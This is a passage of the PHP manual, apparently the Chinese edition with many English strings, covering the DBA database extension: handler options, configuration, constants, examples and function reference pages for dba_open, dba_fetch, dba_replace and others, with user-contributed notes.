db4 conflicts with db2 and db3.

Note:

The db libraries with versions 4.1 through 4.1.24 cannot be used in any PHP version.

Support for BDB 5 was added in PHP 5.3.3.

cdb

To enable support for cdb add --with-cdb[=DIR].

Note:

You can omit DIR to use the bundled cdb library that adds the cdb_make handler which allows creation of cdb files and allows to access cdb files on the network using PHP's streams.

flatfile

To enable support for flatfile add --enable-flatfile. Before PHP 5.2.1 the --with-flatfile had to be used instead.

Note:

This was added to add compatibility with deprecated dbm extension. Use this handler only when you cannot install one of the libraries required by the other handlers and when you cannot use bundled cdb handler.

inifile

To enable support for inifile add --enable-inifile. Before PHP 5.2.1 the --with-inifile had to be used instead.

Note:

This was added to allow to read and set microsoft style .ini files (like the php.ini file).

qdbm

To enable support for qdbm add --with-qdbm[=DIR].

Note:

qdbm conflicts with dbm and gdbm.

Note:

The qdbm library can be downloaded from » http://fallabs.com/qdbm/index.html.

tcadb

To enable support for Tokyo Cabinet add --with-tcadb[=DIR].

Note:

The Tokyo Cabinet library can be downloaded from » http://fallabs.com/tokyocabinet/.

lmdb

To enable support for the Lightning Memory-Mapped Database add --with-lmdb[=DIR].

Note:

This was added in PHP 7.2.0. The Lightning Memory-Mapped Database library can be downloaded from » https://symas.com/lmdb/.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

DBA 配置选项
名字 | 默认 | 可修改范围 | 更新日志
dba.default_handler | DBA_DEFAULT | PHP_INI_ALL |

这是配置指令的简短说明。

dba.default_handler string

The name of the default handler

User Contributed Notes

There are no user contributed notes for this page.


资源类型

The functions dba_open() and dba_popen() return a handle to the specified database file to access which is used by all other dba-function calls.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

DBA_LMDB_USE_SUB_DIR (int)

LMDB Driver flag to allow the creation of a subdirectory for the database files. Available as of PHP 8.2.0.

DBA_LMDB_NO_SUB_DIR (int)

LMDB Driver flag to disallow the creation of a subdirectory for the database files. Available as of PHP 8.2.0.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 DBA example

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
echo "dba_open failed\n";
exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
echo dba_fetch("key", $id);
dba_delete("key", $id);
}

dba_close($id);
?>

DBA is binary safe and does not have any arbitrary limits. However, it inherits all limits set by the underlying database implementation.

All file-based databases must provide a way of setting the file mode of a new created database, if that is possible at all. The file mode is commonly passed as the fourth argument to dba_open() or dba_popen().

You can access all entries of a database in a linear way by using the dba_firstkey() and dba_nextkey() functions. You may not change the database while traversing it.

Example #2 Traversing a database

<?php

// ...open database...

$key = dba_firstkey($id);

while ($key !== false) {
if (true) { // remember the key to perform some action later
$handle_later[] = $key;
}
$key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
dba_delete($val, $id);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


DBA 函数

Table of Contents

  • dba_close — Close a DBA database
  • dba_delete — Delete DBA entry specified by key
  • dba_exists — Check whether key exists
  • dba_fetch — Fetch data specified by key
  • dba_firstkey — Fetch first key
  • dba_handlers — List all the handlers available
  • dba_insert — Insert entry
  • dba_key_split — Splits a key in string representation into array representation
  • dba_list — List all open database files
  • dba_nextkey — Fetch next key
  • dba_open — Open database
  • dba_optimize — Optimize database
  • dba_popen — Open database persistently
  • dba_replace — Replace or insert entry
  • dba_sync — Synchronize database

User Contributed Notes

Franz Korntner 21-Feb-2012 09:10
If you need a 'download data' button that automatically fires up a spreadsheet (like Excel), find that fputcsv() isn't working as expected, that none of the installed DBA database engines create a spreadsheet that can be opened, and that XLS generating components are just too heavy weight, then this might just hit the spot:

<?php
// simple table to present
$data = array(
    array('col1','col2'),
    array(1,2),
    array(3,4)
);

// pretend content (which is XML) is XLS native
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"sheet.xls\";" );

// construct skeleton
$dom = new DOMDocument('1.0', 'utf-8');
$dom->formatOutput = $dom->preserveSpaces = true; // optional
$n = new DOMProcessingInstruction('mso-application', 'progid="Excel.Sheet"');
$dom->appendChild($n);

$workbook = $dom->appendChild(new DOMElement('Workbook'));
$workbook->setAttribute('xmlns','urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:o','urn:schemas-microsoft-com:office:office');
$workbook->setAttribute('xmlns:x','urn:schemas-microsoft-com:office:excel');
$workbook->setAttribute('xmlns:ss','xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:html','http://www.w3.org/TR/REC-html40');

$styles = $workbook->appendChild(new DOMElement('Styles'));
$style = $styles->appendChild(new DOMElement('Style'));
$style->setAttribute('ss:ID','Default');
$worksheet = $workbook->appendChild(new DOMElement('Worksheet'));
$worksheet->setAttribute('ss:Name','sheet1');
$xmltable = $worksheet->appendChild(new DOMElement('Table'));

// populate with data
foreach ($data as $datarow) {
    $xmlrow = $xmltable->appendChild(new DOMElement('Row'));
    foreach ($datarow as $datacell) {
        $xmlcell = $xmlrow->appendChild(new DOMElement('Cell'));
        $xmldata = $xmlcell->appendChild(new DOMElement('Data', $datacell));
        $xmldata->setAttribute('ss:Type', is_numeric($datacell) ? 'Number' : 'String');
    }
}

// display and quit
echo $dom->saveXML();
?>
doppelbauer at gmail dot com 14-Oct-2006 07:47
Benchmark test:

http://qdbm.sourceforge.net/benchmark.pdf
kevinphpdotnet at stormtide dot ca 17-Mar-2004 11:10
When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net 17-Oct-1999 03:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.


Close a DBA database

  • ? DBA 函数
  • dba_delete ?
  • PHP Manual
  • DBA 函数
  • Close a DBA database

dba_close

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_close — Close a DBA database

说明

dba_close(resource $dba): void

dba_close() closes the established database and frees all resources of the specified database handle.

参数

dba

The database handler, returned by dba_open() or dba_popen().

返回值

没有返回值。

参见

  • dba_open() - Open database
  • dba_popen() - Open database persistently

User Contributed Notes

There are no user contributed notes for this page.


Delete DBA entry specified by key

  • ? dba_close
  • dba_exists ?
  • PHP Manual
  • DBA 函数
  • Delete DBA entry specified by key

dba_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_delete — Delete DBA entry specified by key

说明

dba_delete(string|array $key, resource $dba): bool

dba_delete() deletes the specified entry from the database.

参数

key

The key of the entry which is deleted.

dba

The database handler, returned by dba_open() or dba_popen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • dba_exists() - Check whether key exists
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

swain at panix dot com 06-Nov-2001 11:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.


Check whether key exists

  • ? dba_delete
  • dba_fetch ?
  • PHP Manual
  • DBA 函数
  • Check whether key exists

dba_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_exists — Check whether key exists

说明

dba_exists(string|array $key, resource $dba): bool

dba_exists() checks whether the specified key exists in the database.

参数

key

The key the check is performed for.

dba

The database handler, returned by dba_open() or dba_popen().

返回值

Returns true if the key exists, false otherwise.

参见

  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

frenzy dot ivan at gmail dot com 26-Nov-2008 05:37
<?php

$index = 4;
$id = dba_open("frenzy.db", "w", "flatfile");
if(!$id) exit ("Some error...");
if(dba_exists($index, $id)) exit ("This key is using");
dba_close($id);

?>


Fetch data specified by key

  • ? dba_exists
  • dba_firstkey ?
  • PHP Manual
  • DBA 函数
  • Fetch data specified by key

dba_fetch

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_fetch — Fetch data specified by key

说明

dba_fetch(string|array $key, resource $dba, int $skip = 0): string|false

Overloaded signature deprecated as of 8.3.0:

dba_fetch(string $key, int $skip, resource $dba): string

dba_fetch() fetches the data specified by key from the database specified with dba.

参数

key

The key the data is specified by.

Note:

When working with inifiles this function accepts arrays as keys where index 0 is the group and index 1 is the value name. See: dba_key_split().

dba

The database handler, returned by dba_open() or dba_popen().

skip

The number of key-value pairs to ignore when using cdb databases. This value is ignored for all other databases which do not support multiple keys with the same name.

返回值

Returns the associated string if the key/data pair is found, false otherwise.

更新日志

版本 | 说明
8.3.0 | Calling dba_fetch() with dba as the 3rd argument is now deprecated.
8.2.0 | dba_fetch()'s optional skip argument is now at the end in line with PHP userland semantics. The previously overloaded signature is still accepted but discouraged.

参见

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry
  • dba_key_split() - Splits a key in string representation into array representation

User Contributed Notes

khan666 at lycos dot co dot kr 05-Dec-2010 05:11
:: fetch array sort.

ex) TEST_DATA.DB

    1/korea/5000/word 1
    10/japan/25000/word 10
    21/china/130000/word 21
    2/usa/35000/word 2

<?php
# LIST SORT
$DB4_DATABASE = "TEST_DATA.DB4";
$DIV = "/";
$_FILE = "$DATA_DIR/HUTM_NETWORK_ROUTER.DB"; // DB4 FileName

$db  = dba_open($DB4_DATABASE,"r","db4");
$key = dba_firstkey($db);
$ii = 0;
while($key != NULL)
{
     $LIST[$ii] = explode($DIV,dba_fetch($key, $db));    // fetch array
    $key = dba_nextkey($db);
    $ii++;
}
dba_close($db);
$total = $ii; // total count

# date sort
sort($LIST,SORT_NUMERIC);    // numeric key sort ..

# list display
for($i=0;$i<$total;$i++)
{
    $oData = explode($DIV,$LIST[$i]);    // key + value (sort)

    $key   = trim(chop($oData[0])); # ???
    $name  = trim(chop($oData[1])); # ??
    $count = trim(chop($oData[2])); # ?
    $word  = trim(chop($oData[3])); # ??

    echo "$key / $name / $count / $word <br>\r\n";
}
?>

::result::

1/korea/5000/word 1
2/usa/35000/word 2
10/japan/25000/word 10
21/china/130000/word 21


Fetch first key

  • ? dba_fetch
  • dba_handlers ?
  • PHP Manual
  • DBA 函数
  • Fetch first key

dba_firstkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_firstkey — Fetch first key

说明

dba_firstkey(resource $dba): string|false

dba_firstkey() returns the first key of the database and resets the internal key pointer. This permits a linear search through the whole database.

参数

dba

The database handler, returned by dba_open() or dba_popen().

返回值

Returns the key on success 或者在失败时返回 false.

参见

  • dba_nextkey() - Fetch next key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

rcracer91 at gmail dot com 26-Aug-2009 12:21
I wondered why it wasn't already written, so I did because I think working with associative arrays is always as comfortable as can be

<?php
function dba_fetch_assoc($handle) {
    $assoc = array();
    for($k = dba_firstkey($handle); $k != false; $k = dba_nextkey($handle)) {
        $assoc[$k] = dba_fetch($k, $handle);
    }
    return $assoc;
}
?>
psycho-logic at excite dot com 22-Oct-2003 05:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
    print("Key: $the_key    Value:");
    print dba_fetch($the_key, $DBCon);
    print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net 17-Jan-2002 05:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
            $keyset[] = $key;
        } // end for


List all the handlers available

  • ? dba_firstkey
  • dba_insert ?
  • PHP Manual
  • DBA 函数
  • List all the handlers available

dba_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_handlers — List all the handlers available

说明

dba_handlers(bool $full_info = false): array

dba_handlers() list all the handlers supported by this extension.

参数

full_info

Turns on/off full information display in the result.

返回值

Returns an array of database handlers. If full_info is set to true, the array will be associative with the handlers names as keys, and their version information as value. Otherwise, the result will be an indexed array of handlers names.

Note:

When the internal cdb library is used you will see cdb and cdb_make.

示例

Example #1 dba_handlers() Example

<?php

echo "Available DBA handlers:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
// clean the versions
$handler_version = str_replace('$', '', $handler_version);
echo " - $handler_name: $handler_version\n";
}

?>

以上示例的输出类似于：

Available DBA handlers:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 05:59
A quick way to see which DBA handlers, without version numbers, that have been built into your version of MySQL on your system, use var_dump with dba_handler() as follows:

<?php
var_dump ( "dba_handlers()" );
?>

Many distros build in these DBA Handlers by default:
array(5) { [0]=>  string(3) "cdb" [1]=>  string(8) "cdb_make" [2]=>  string(3) "db4" [3]=>  string(7) "inifile" [4]=>  string(8) "flatfile" }

using print and pre tags for readability:

array(5) {

  [0]=>

  string(3) "cdb"

  [1]=>

  string(8) "cdb_make"

  [2]=>

  string(3) "db4"

  [3]=>

  string(7) "inifile"

  [4]=>

  string(8) "flatfile"

}

Note there are issues with dba_insert and dba_replace without building for either GDBM or QDBM.
  Here are two sources for the list of DBA handlers: (http://www.php-editors.com/php_manual/ref.dba.html and http://dewa03.unep.org/manuals/php_manual/ref.dba.html; )

CDBM & CDB compiles have issues with updates, you can read databases and write new database files, but you will be prevented from using dba_replace() and you may have issues with dba_insert().

NDBM & DBM are depreciated.

DB2, DB3 & DB4 (Berkeley DB Sleepycat Software / Oracle)  Have read online about issues with dba_replace() and db4 specifically. Make sure you test your installation for correct usage of all DBA functions.

SDBM, TDB, TinyCDB were not listed on most of the sources I have found online.  Those DBA handlers and the names of the developers were listed on the QDBM source forge site.  How they interact with dba_replace() I do not know.  You should be aware of their existence.

GDBM and QDBM are the only other two DBA handlers I am aware of.  Both are reported to allow PHP's dba_replace() function to work correctly so either may be an acceptable option.  The following three restrictions of traditional DBM are not issues for either GDBM or QDBM: 1) a process can handle only one database;  2) the size of a key and a value is bounded;   3) a database file is sparse.

DBA handler benchmark compares QDBM, GDBM, NDBM, SDBM, TDB, CDB, BDB, QDBM-BT-ASC, QDBM-BT-RND, BDB-BT-ASC, BDB-BT-RND can be found here: (http://qdbm.sourceforge.net/benchmark.pdf);

QDBM seems to offer significant improvements in speed over the other DBA Handlers, test in your environment to verify the results.


Insert entry

  • ? dba_handlers
  • dba_key_split ?
  • PHP Manual
  • DBA 函数
  • Insert entry

dba_insert

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_insert — Insert entry

说明

dba_insert(string|array $key, string $value, resource $dba): bool

dba_insert() inserts the entry described with key and value into the database.

参数

key

The key of the entry to be inserted. If this key already exist in the database, this function will fail. Use dba_replace() if you need to replace an existent key.

value

The value to be inserted.

dba

The database handler, returned by dba_open() or dba_popen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_replace() - Replace or insert entry

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 02:18
berkeleydb example.

<?php
    # DB4 CREATE & INSERT
    $_FILE   = "/DATA_DIR/TEST_DATA.DB";
    $DIV     = "\xFE";
    $inValue = "name".$DIV."0".$DIV."test value";

    $dbh   = dba_open($_FILE,"c","db4");
    dba_close($dbh);

    $dbh   = dba_open($_FILE,"w","db4");
    dba_insert(1,$inValue,$dbh);
    dba_close($dbh);
?>


Splits a key in string representation into array representation

  • ? dba_insert
  • dba_list ?
  • PHP Manual
  • DBA 函数
  • Splits a key in string representation into array representation

dba_key_split

(PHP 5, PHP 7, PHP 8)

dba_key_split — Splits a key in string representation into array representation

说明

dba_key_split(string|false|null $key): array|false

dba_key_split() splits a key (string representation) into an array representation.

参数

key

The key in string representation.

返回值

Returns an array of the form array(0 => group, 1 => value_name). This function will return false if key is null or false.

参见

  • dba_firstkey() - Fetch first key
  • dba_nextkey() - Fetch next key
  • dba_fetch() - Fetch data specified by key

User Contributed Notes

There are no user contributed notes for this page.


List all open database files

  • ? dba_key_split
  • dba_nextkey ?
  • PHP Manual
  • DBA 函数
  • List all open database files

dba_list

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_list — List all open database files

说明

dba_list(): array

dba_list() list all open database files.

参数

此函数没有参数。

返回值

An associative array, in the form resourceid => filename.

User Contributed Notes

There are no user contributed notes for this page.


Fetch next key

  • ? dba_list
  • dba_open ?
  • PHP Manual
  • DBA 函数
  • Fetch next key

dba_nextkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_nextkey — Fetch next key

说明

dba_nextkey(resource $dba): string|false

dba_nextkey() returns the next key of the database and advances the internal key pointer.

参数

dba

The database handler, returned by dba_open() or dba_popen().

返回值

Returns the key on success 或者在失败时返回 false.

参见

  • dba_firstkey() - Fetch first key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

phpnet at araxon dot sk 22-Jun-2022 08:41
It should be noted that it is not always safe to iterate through the database while changing it at the same time. For example:

<?php
$db=dba_open(...);

// remove all values shorter than 10 characters
for ($key=dba_firstkey($db); $key!==false; $key=dba_nextkey($db)) {
    $s=dba_fetch($key, $db);
    if (strlen($s)<10) {
        dba_delete($key, $db);
    }
}
?>

The above example will work fine with db4 handler, but not with gdbm. It is handler specific.


Open database

  • ? dba_nextkey
  • dba_optimize ?
  • PHP Manual
  • DBA 函数
  • Open database

dba_open

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_open — Open database

说明

dba_open(
string $path,
string $mode,
?string $handler = null,
int $permission = 0644,
int $map_size = 0,
?int $flags = null
): resource|false

dba_open() establishes a database instance for path with mode using handler.

参数

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access. The database is created in BTree mode, other modes (like Hash or Queue) are not supported.

Additionally you can set the database lock method with the next char. Use l to lock the database with a .lck file or d to lock the databasefile itself. It is important that all of your applications do this consistently.

If you want to test the access and do not want to wait for the lock you can add t as third character. When you are absolutely sure that you do not require database locking you can do so by using - instead of l or d. When none of d, l or - is used, dba will lock on the database file as it would with d.

Note:

There can only be one writer for one database file. When you use dba on a web server and more than one request requires write operations they can only be done one after another. Also read during write is not allowed. The dba extension uses locks to prevent this. See the following table:

DBA locking
already open | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
not open | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false
  • ok: the second call will be successful.
  • wait: the second call waits until dba_close() is called for the first.
  • false: the second call returns false.
  • illegal: you must not mix "l" and "d" modifiers for mode parameter.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_open() and can act on behalf of them. If handler is null, then the default handler is invoked.

permission

Optional int parameter which is passed to the driver. It has the same meaning as the permissions parameter of chmod(), and defaults to 0644.

The db1, db2, db3, db4, dbm, gdbm, ndbm, and lmdb drivers support the permission parameter.

map_size

Optional int parameter which is passed to the driver. Its value should be a multiple of the page size of the OS, or zero, to use the default map size.

Only the lmdb driver accepts the map_size parameter.

flags

Flags to pass to the database drivers. If null the default flags will be provided. Currently, only the LMDB driver supports the following flags DBA_LMDB_USE_SUB_DIR and DBA_LMDB_NO_SUB_DIR.

返回值

Returns a positive handle on success 或者在失败时返回 false.

错误／异常

false is returned and an E_WARNING level error is issued when handler is null, but there is no default handler.

更新日志

版本 | 说明
8.2.0 | flags is added.
8.2.0 | handler is now nullable.
7.3.14, 7.4.2 | The lmdb driver now supports an additional map_size parameter.

参见

  • dba_popen() - Open database persistently
  • dba_close() - Close a DBA database

User Contributed Notes

dracoirs at gmail dot com 03-May-2010 03:10
Apache doesn't support Berkeley DB Btree, so you can't manipulate use db4 as the type of database if you want to do DBM authentication with Apache.

gdbm seemed to work fine though, even though it supposedly using Btree instead of hash.  It makes you wonder why Apache would use hash for one dbmtype versus btree for another.

So since Apache and PHP don't have options to choose the method for the Berkeley DBs, you are out of luck.
cbemerine at gmail dot com 06-Sep-2009 04:59
Note the "c" create flag does not work if MySQL was built with the "cdb" DBA handler compile option which is common for many distros.  By definition the cdb DBA handler is optimized for reading/writing and "no updates are allowed."

<?php
$dbh = dba_open( "./data2/productz", "c", "cdb") or die( "Couldn't open Database" );
?>

instead use

<?php
$dbh = dba_open( "./data2/productz", "n", "cdb" ) or die( "Couldnt open Database" );
?>

generates this error message in the /var/log/apache2/error.log:
[Sun Sep 06 04:18:15 2009] [error] [client 192.168.1.125] PHP Warning:  dba_open(./data2/productz,c) [<a href='function.dba-open'>function.dba-open</a>]: Driver initialization failed for handler: cdb: Update operations are not supported in /var/www/projects/testcdb-c.php on line 43

see user contributed comment under dba_handlers() to see which DBA handlers are supported by your build of MySQL and note about using "cdb" compiled DBA systems:

also see user contributed comment under dba_replace() about incompatibilities with cdb DBA handler compiled MySQL systems.
mskala at ansuz dot sooke dot bc dot ca 16-May-2008 02:15
As of GDBM version 1.8.3, GDBM's underlying open call uses non-blocking calls to flock() on systems that have flock().  As a result, calls with "rd" or "wd" locking modes will return error ("Can't be reader" or "Can't be writer") instead of waiting.  Use "rl" or "wl" instead, to make PHP do its own locking external to GDBM.
trohit at blue bottle dot com 23-Nov-2007 03:34
Here's a simple example to use the dba_open function

<?php

$id = dba_open("/tmp/test.db", "n", "gdbm");

if (!$id) {
        echo "dba_open failed\n";
        exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
        echo dba_fetch("key", $id);
        dba_delete("key", $id);
}

dba_close($id);
?>
doppelbauer at gmail dot com 20-Oct-2006 07:36
Windows does not support locking the database. You may use $_ENV to determine the OS:

$locking = (stripos($_ENV['OS'],'windows') === false ? 'd' : 'l');
xy ?t affenkrieger.de 30-Mar-2006 06:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.


Optimize database

  • ? dba_open
  • dba_popen ?
  • PHP Manual
  • DBA 函数
  • Optimize database

dba_optimize

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_optimize — Optimize database

说明

dba_optimize(resource $dba): bool

dba_optimize() optimizes the underlying database.

参数

dba

The database handler, returned by dba_open() or dba_popen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • dba_sync() - Synchronize database

User Contributed Notes

doppelbauer at gmail dot com 17-Oct-2006 02:44
The difference between "dba_optimize" and "dba_sync":

Use "dba_optimize" to optimize a database, which usually consists of eliminating gaps between records created by deletes.

The "dba_sync" function will synchronize the view of the database in memory and its image on the disk. As you insert records, they may be cached in memory by the underlying engine. Other processes reading from the database will not see these new records until synchronization.
samuele at removethisnorsam dot org 04-Aug-2003 03:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.


Open database persistently

  • ? dba_optimize
  • dba_replace ?
  • PHP Manual
  • DBA 函数
  • Open database persistently

dba_popen

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_popen — Open database persistently

说明

dba_popen(
string $path,
string $mode,
?string $handler = null,
int $permission = 0644,
int $map_size = 0,
?int $flags = null
): resource|false

dba_popen() establishes a persistent database instance for path with mode using handler.

参数

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_popen() and can act on behalf of them. If handler is null, then the default handler is invoked.

permission

Optional int parameter which is passed to the driver. It has the same meaning as the permissions parameter of chmod(), and defaults to 0644.

The db1, db2, db3, db4, dbm, gdbm, ndbm, and lmdb drivers support the permission parameter.

map_size

Optional int parameter which is passed to the driver. Its value should be a multiple of the page size of the OS, or zero, to use the default mapsize.

The lmdb driver accepts the map_size parameter.

flags

Allows to pass flags to the DB drivers. Currently, only LMDB with DBA_LMDB_USE_SUB_DIR and DBA_LMDB_NO_SUB_DIR are supported.

返回值

Returns a positive handle on success 或者在失败时返回 false.

错误／异常

false is returned and an E_WARNING level error is issued when handler is null, but there is no default handler.

更新日志

版本 | 说明
8.2.0 | flags is added.
8.1.0 | handler is now nullable.
7.3.14, 7.4.2 | The lmdb driver now supports an additional map_size parameter.

参见

  • dba_open() - Open database
  • dba_close() - Close a DBA database

User Contributed Notes

There are no user contributed notes for this page.


Replace or insert entry

  • ? dba_popen
  • dba_sync ?
  • PHP Manual
  • DBA 函数
  • Replace or insert entry

dba_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_replace — Replace or insert entry

说明

dba_replace(string|array $key, string $value, resource $dba): bool

dba_replace() replaces or inserts the entry described with key and value into the database specified by dba.

参数

key

The key of the entry to be replaced.

value

The value to be replaced.

dba

The database handler, returned by dba_open() or dba_popen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 06:36
QDBM and GDBM appear to be the only DBA handlers that will allow dba_replace to work correctly.  The DBA Handlers must be compiled or built into the version you are using.  See dba_handlers (http://www.php.net/manual/en/function.dba-handlers.php) for more specific information:

Also when you search online you will see mention of "security" related issue, supposedly, related to the dba_replace() function.  In every instance of the "security" issue documented online, the dba_open function specified the DBA handler option of "inifile".  DBA handler "inifile" is intended for the management of ini files specifically.  Here are the dba_open and dba_replace code snippets related to this "security" issue:

<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>

I have also seen errors listed online with DB4 and use of the dba_replace function.  Though I am skeptical of those reports.  Unfortunately I do not have a database with the DB4 handlers compiled in to check if there is an issue with dba_replace and the DB4 DBA handler or not.  At least you are aware that there may be an issue and can check if need be.

Assuming the correct DBA handlers are "built" or compiled into your database when built for the packages you are using, there is probably not an issue with dba_replace() and actual database files.  If you experience a problem with dba_replace() make sure you build in DBA handlers QDBM or GDBM.

You can not build in both QDBM and GDBM together in the same build, however you probably can build in both INIFILE and FLATFILE with either QDBM or GDBM.  It is unclear if you can build in either db3 or db4 with QDBM or GDBM.  It appears that DB4, CDB, INIFILE and FLATFILE are often built together.

see User contributed notes for dba_handlers() and dba_open() related to CDB.


Synchronize database

  • ? dba_replace
  • ODBC ?
  • PHP Manual
  • DBA 函数
  • Synchronize database

dba_sync

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_sync — Synchronize database

说明

dba_sync(resource $dba): bool

dba_sync() synchronizes the database. This will probably trigger a physical write to the disk, if supported.

参数

dba

The database handler, returned by dba_open() or dba_popen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • dba_optimize() - Optimize database

User Contributed Notes

There are no user contributed notes for this page.


ODBC (Unified)

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • ODBC 函数
    • odbc_autocommit — Toggle autocommit behaviour
    • odbc_binmode — Handling of binary column data
    • odbc_close_all — Close all ODBC connections
    • odbc_close — Close an ODBC connection
    • odbc_columnprivileges — Lists columns and associated privileges for the given table
    • odbc_columns — Lists the column names in specified tables
    • odbc_commit — Commit an ODBC transaction
    • odbc_connect — Connect to a datasource
    • odbc_connection_string_is_quoted — Determines if an ODBC connection string value is quoted
    • odbc_connection_string_quote — Quotes an ODBC connection string value
    • odbc_connection_string_should_quote — Determines if an ODBC connection string value should be quoted
    • odbc_cursor — Get cursorname
    • odbc_data_source — Returns information about available DSNs
    • odbc_do — 别名 odbc_exec
    • odbc_error — Get the last error code
    • odbc_errormsg — Get the last error message
    • odbc_exec — Directly execute an SQL statement
    • odbc_execute — Execute a prepared statement
    • odbc_fetch_array — Fetch a result row as an associative array
    • odbc_fetch_into — Fetch one result row into array
    • odbc_fetch_object — Fetch a result row as an object
    • odbc_fetch_row — Fetch a row
    • odbc_field_len — Get the length (precision) of a field
    • odbc_field_name — Get the columnname
